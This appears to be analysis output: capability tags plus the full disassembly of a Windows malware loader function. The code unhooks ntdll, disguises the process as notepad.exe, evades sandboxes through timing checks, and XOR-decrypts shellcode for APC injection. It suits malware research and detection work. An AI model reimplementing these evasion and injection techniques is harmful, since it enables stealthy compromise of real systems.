Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x8a0], ecx
mov qword [rbp + 0x8a8], rdx
call fcn.140002ac0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
mov ecx, 0x940
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x85c], 0
jmp 0x14000151b
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
movsd xmm1, qword [0x1400055d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x127
jle 0x1400014cd
mov dword [rbp + 0x85c], 0
jmp 0x140001585
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x127
jle 0x140001533
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x858], 0xffffffff
mov ecx, 0x1448
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
add dword [rbp + 0x858], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm1, qword [0x1400055d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x858], 0x287
jle 0x1400015c6
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
jne 0x1400016d9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
je 0x140001a40
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
mov rax, qword [rbp + 0x7d8]
mov r10, qword [rbp + 0x850]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x84e], 0
jmp 0x140001a28
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a17
mov ecx, 0xa5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x844], 0
mov dword [rbp + 0x78c], 0
mov dword [rbp + 0x848], 0
jmp 0x1400018ea
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x296
jle 0x14000189e
mov dword [rbp + 0x848], 0
jmp 0x14000192b
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x844], eax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x296
jle 0x140001902
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5e8], 0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5e8]
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84e]
add eax, 1
mov word [rbp + 0x84e], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84e], ax
jb 0x140001813
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x7f0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov ecx, 0x99c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x840], 0
mov dword [rbp + 0x774], 1
mov dword [rbp + 0x83c], 0
jmp 0x140001b21
mov dword [rbp + 0x838], 0
jmp 0x140001b11
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x83c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x778]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x28
jle 0x140001aab
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0xe
jle 0x140001a9f
mov dword [rbp + 0x83c], 0
jmp 0x140001b9e
mov dword [rbp + 0x838], 0
jmp 0x140001b8e
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001b87
add dword [rbp + 0x840], 1
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x28
jle 0x140001b46
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0xe
jle 0x140001b3a
cmp dword [rbp + 0x840], 0x133
je 0x140001bbd
mov dword [rbp + 0x774], 0
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x5ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x780]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5f8]
add rax, 0x3c
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x1d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov ecx, 0x1d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x830], 0x73
mov dword [rbp + 0x834], 0
jmp 0x140001d00
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x760]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x758]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x830], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x73
jle 0x140001c73
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x754], 0x370
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x73c], eax
mov eax, dword [rbp + 0x754]
mov r8, qword [rbp + 0x748]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x738], eax
mov eax, dword [rbp + 0x738]
sub eax, dword [rbp + 0x73c]
cmp eax, 0x33e
jbe 0x1400029e9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov ecx, 0
call rax
mov dword [rbp + 0x72c], eax
cmp dword [rbp + 0x72c], 0xffffffff
je 0x1400029e9
mov dword [rbp + 0x728], 0x267
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x728]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x235
jbe 0x1400029e9
lea rax, str.jwvzqwrrhfhis.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
jne 0x1400029e9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x1400029e9
mov rax, qword [rbp + 0x708]
mov edx, 0x545
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x704], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x1400029e9
mov dword [rbp + 0x6ec], 0x3b0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6ec]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x37e
jbe 0x1400029e9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x14000206d
mov rax, qword [rbp + 0x6d0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x82c], eax
cmp dword [rbp + 0x82c], 0xffffffff
je 0x1400029e9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
jne 0x1400029e9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x1400029e9
mov rax, qword [rbp + 0x6b0]
mov edx, 0x49d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6ac], eax
lea rax, [rbp + 0x140]
lea rdx, [0x140005128]
mov ecx, 0x94
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x6a0]
mov r8d, 0
mov edx, 0x4a5
mov ecx, 0x40000
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r9, qword [rbp + 0x698]
mov r8d, 0x4a5
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x688], rax
mov qword [rbp + 0x820], 0
mov dword [rbp + 0x828], 0x8e
jmp 0x140002213
mov eax, dword [rbp + 0x828]
cdqe
add qword [rbp + 0x820], rax
sub dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0
jg 0x1400021fd
mov rax, qword [rbp + 0x7f0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x680]
mov r8d, 0x4a5
mov rcx, rax
call r9
mov dword [rbp + 0x818], 1
jmp 0x14000231a
mov dword [rbp + 0x81c], 0
mov eax, dword [rbp + 0x818]
mov dword [rbp + 0x814], eax
jmp 0x1400022f0
mov edx, dword [rbp + 0x814]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x640], edx
mov eax, dword [rbp + 0x640]
imul eax, eax
imul eax, dword [rbp + 0x640]
add dword [rbp + 0x81c], eax
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x814], eax
cmp dword [rbp + 0x814], 0
jne 0x140002285
mov eax, dword [rbp + 0x81c]
cmp eax, dword [rbp + 0x818]
jne 0x140002313
mov eax, dword [rbp + 0x818]
mov dword [rbp + 0x644], eax
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x346
jle 0x14000226d
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0
movabs rax, 0x20917dade7eeecfb
movabs rdx, 0xb82a60b7c29b881c
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xcdc2e7d925bce917
movabs rdx, 0xb6317e790518e688
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x419ae7372d45fd70
movabs rdx, 0xc10e62f465dddaaf
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x4b7940ff031d3608
movabs rdx, 0x764558189dc7a2ad
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xc7e57d9e75880b32
movabs rdx, 0x3fbb39fbc9a32cf5
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xf91a77669b2ed9c4
movabs rdx, 0x234ef6977e80bc06
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x83207d9a29b5289f
movabs rdx, 0x6ce8a81189009e41
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov dword [rbp + 0xb0], 0xcc48dc
movabs rax, 0x59508976bcdc49d9
movabs rdx, 0x878ec1beddfae471
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xd5df85c72cc09d0c
movabs rdx, 0xa1651573db719b58
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x393d34236d52d335
movabs rdx, 0x2f0d45fe5216120a
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xa068ce9e9d53b72e
movabs rdx, 0x2d86d11794c9d300
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xe9a25dc8ad8664ea
movabs rdx, 0x486b6dec9c7e3811
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x3d50173fa593268f
movabs rdx, 0xf7cff8d8192a1ec1
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xa277c1f037efd2c8
movabs rdx, 0x880d6cce404bda3a
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x8b880d6cce404bda
movabs rdx, 0x2ad7664f9bba64
mov qword [rbp + 0x129], rax
mov qword [rbp + 0x131], rdx
mov dword [rbp + 0x810], 0
jmp 0x1400025b3
cmp dword [rbp + 0x80c], 0x77
jne 0x14000257a
mov eax, dword [rbp + 0x810]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x80c]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x810]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x80c], 0
jmp 0x1400025ac
mov eax, dword [rbp + 0x810]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x80c]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x810]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x80c], 1
add dword [rbp + 0x810], 1
mov eax, dword [rbp + 0x810]
cmp eax, 0x72
jbe 0x14000253a
mov dword [rbp + 0x810], 0
jmp 0x14000275c
mov dword [rbp + 0x804], 0x370
jmp 0x1400025e4
sub dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x32
jg 0x1400025dd
cmp dword [rbp + 0x808], 0x72
jne 0x140002710
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x808]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7fc], 0
mov dword [rbp + 0x654], 0
mov ecx, 0x704
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x800], 0
jmp 0x1400026e5
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7fc], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x1c0
jle 0x140002669
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x808], 0
jmp 0x140002755
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x808]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x808], 1
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x4a4
jle 0x1400025d1
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov ecx, 0x99c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7f8], 0
jmp 0x140002844
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x266
jle 0x1400027bb
mov dword [rbp + 0x7f8], 0
jmp 0x140002970
mov dword [rbp + 0x65c], 0
jmp 0x140002952
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x65c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000294b
mov eax, dword [rbp + 0x65c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x658], xmm0
mov eax, dword [rbp + 0x7f8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x65c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x65c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
movss xmm0, dword [rbp + 0x658]
movss dword [rax], xmm0
add dword [rbp + 0x7f8], 1
mov eax, 0x266
sub eax, dword [rbp + 0x7f8]
cmp dword [rbp + 0x65c], eax
jl 0x140002872
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x266
jle 0x140002863
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e8]
lea rdx, str.SleepEx
mov rcx, rax
